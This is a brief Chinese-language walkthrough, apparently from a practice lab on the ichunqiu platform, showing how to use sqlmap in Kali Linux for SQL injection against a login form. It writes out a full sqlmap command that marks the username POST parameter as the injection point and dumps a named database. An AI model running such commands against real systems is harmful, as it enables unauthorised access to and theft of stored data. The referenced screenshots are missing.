第一步:先判定kali Linux中sqlmap能够正常使用。如下图
第二步:抓取某个页面的登陆数据包,如下
第三步:
先遍历出数据库类型和所有的表。如下图所示。
第四步:
在kali linux中,使用sqlmap,如上图
root@kali:~#sqlmap -u "http://eci-zf2.cloudecil1.ichunqiu.com" --data "uname=*&passwd=&submit=Submit" --level 3 --dump -D "sql10051008"
指定数据库表名sql10051008
post请求中参数为 uname=admin*&passwd=test&submit=Submit